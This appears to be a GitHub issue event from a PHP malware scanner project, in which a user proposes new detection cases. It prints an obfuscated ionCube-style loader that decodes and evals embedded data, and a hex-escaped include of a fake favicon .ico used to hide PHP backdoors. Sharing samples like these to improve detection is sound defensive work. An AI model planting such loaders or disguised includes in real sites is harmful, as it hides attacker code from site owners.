{"action":"created","issue":{"url":"https://api.github.com/repos/scr34m/php-malware-scanner/issues/38","repository_url":"https://api.github.com/repos/scr34m/php-malware-scanner","labels_url":"https://api.github.com/repos/scr34m/php-malware-scanner/issues/38/labels{/name}","comments_url":"https://api.github.com/repos/scr34m/php-malware-scanner/issues/38/comments","events_url":"https://api.github.com/repos/scr34m/php-malware-scanner/issues/38/events","html_url":"https://github.com/scr34m/php-malware-scanner/issues/38","id":374313435,"node_id":"MDU6SXNzdWUzNzQzMTM0MzU=","number":38,"title":"new possible examples","user":{"login":"martiGIT","id":1021781,"node_id":"MDQ6VXNlcjEwMjE3ODE=","avatar_url":"https://avatars0.githubusercontent.com/u/1021781?v=4","gravatar_id":"","url":"https://api.github.com/users/martiGIT","html_url":"https://github.com/martiGIT","followers_url":"https://api.github.com/users/martiGIT/followers","following_url":"https://api.github.com/users/martiGIT/following{/other_user}","gists_url":"https://api.github.com/users/martiGIT/gists{/gist_id}","starred_url":"https://api.github.com/users/martiGIT/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/martiGIT/subscriptions","organizations_url":"https://api.github.com/users/martiGIT/orgs","repos_url":"https://api.github.com/users/martiGIT/repos","events_url":"https://api.github.com/users/martiGIT/events{/privacy}","received_events_url":"https://api.github.com/users/martiGIT/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":3,"created_at":"2018-10-26T10:02:30Z","updated_at":"2018-10-26T19:37:48Z","closed_at":null,"author_association":"NONE","body":"Hi,\r\nfirst thanks for great piece of software, that saved many mandays :)\r\n\r\nsecond I would like to share some examples that also should be considered as malware\r\n`IonCube_loader`  - frequently malware is encrypted with this kind of popular encoder\r\nalso this is code example:\r\n```\r\n<?php //000227\r\nif (!extension_loaded('IonCube_loader')) {$__oc = strtolower(substr(php_uname(), 0, 3));$__ln = 'ioncube_loader_' . $__oc . '_' . substr(phpversion(), 0, 3) . (($__oc == 'win') ? '.dll' : '.so');if (function_exists('il_exec')) {return il_exec();}$__ln = '/ioncube/' . $__ln;$__ln = \"preg_replace\";$__oid = @fopen(__FILE__, 'rb');$__id = realpath('extension_dir');$__here = dirname(__FILE__);if (strlen($__id) > 1 && $__id[1] == ':') {$__id = str_replace('\\\\', '/', substr($__id, 2));$__here = str_replace('\\\\', '/', substr($__here, 2));}$__rd = \"/\" . str_repeat('/..', substr_count($__id, '/')) . $__here . '/';$__i = strlen($__rd);while ($__i--) {if ($__rd[$__i] == '/') {$__lp = substr($__rd, 0, $__i) . $__ln;if ($__lp = fread($__oid, @filesize(__FILE__))) {$__ln = pack(\"H*\", $__ln(\"/[A-Z,\\r,\\n]/\", \"\", substr($__lp, 0xc34-0x784)));break;}}}eval($__ln);return 0;} else {die('The file ' . __FILE__ . \" is corrupted.\\n\");}if (function_exists('il_exec')) {return il_exec();}echo('Please check System Requirements on vendor site because the file <b>' . __FILE__ . '</b> requires the ionCube PHP Loader ' . basename($__ln) . ' to be installed by the site administrator.');return 0;\r\n\r\n?>\r\nENCRYPTED CODE HERE\r\n```\r\nsecond, popular malwares includes .ico with php code inside, as part of php. I see that in rules are some include(_GET examples, but this particular example I find malware with this kind of linux find command:\r\n\r\n`\r\nfind /var/www -name '*.ico' -exec grep -l \"php\" {} \\;\r\n`\r\ninclude example:\r\n`\r\n@include \"\\x2fhome\\x2fsite\\x2f01_2\\x3002/f\\x61vico\\x6e_e03\\x3628.i\\x63o\";\r\n`\r\nfollowing example is semiencoded path:\r\n```\r\n# echo -e \"\\x2fhome\\x2fsite\\x2f01_2\\x3002/f\\x61vico\\x6e_e03\\x3628.i\\x63o\";\r\n/home/site/01_2002/favicon_e03628.ico\r\n```\r\nscript could check if included file (ico) contains php and then report problem"},"comment":{"url":"https://api.github.com/repos/scr34m/php-malware-scanner/issues/comments/433520673","html_url":"https://github.com/scr34m/php-malware-scanner/issues/38#issuecomment-433520673","issue_url":"https://api.github.com/repos/scr34m/php-malware-scanner/issues/38","id":433520673,"node_id":"MDEyOklzc3VlQ29tbWVudDQzMzUyMDY3Mw==","user":{"login":"martiGIT","id":1021781,"node_id":"MDQ6VXNlcjEwMjE3ODE=","avatar_url":"https://avatars0.githubusercontent.com/u/1021781?v=4","gravatar_id":"","url":"https://api.github.com/users/martiGIT","html_url":"https://github.com/martiGIT","followers_url":"https://api.github.com/users/martiGIT/followers","following_url":"https://api.github.com/users/martiGIT/following{/other_user}","gists_url":"https://api.github.com/users/martiGIT/gists{/gist_id}","starred_url":"https://api.github.com/users/martiGIT/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/martiGIT/subscriptions","organizations_url":"https://api.github.com/users/martiGIT/orgs","repos_url":"https://api.github.com/users/martiGIT/repos","events_url":"https://api.github.com/users/martiGIT/events{/privacy}","received_events_url":"https://api.github.com/users/martiGIT/received_events","type":"User","site_admin":false},"created_at":"2018-10-26T19:37:48Z","updated_at":"2018-10-26T19:37:48Z","author_association":"NONE","body":"this is the only part common that I mentioned before:\r\n```\r\n@include \"\\x2fhome\\x2fsite\\x2f01_2\\x3002/f\\x61vico\\x6e_e03\\x3628.i\\x63o\";\r\n```"}}
{"actor":{"display_login":"martiGIT"}}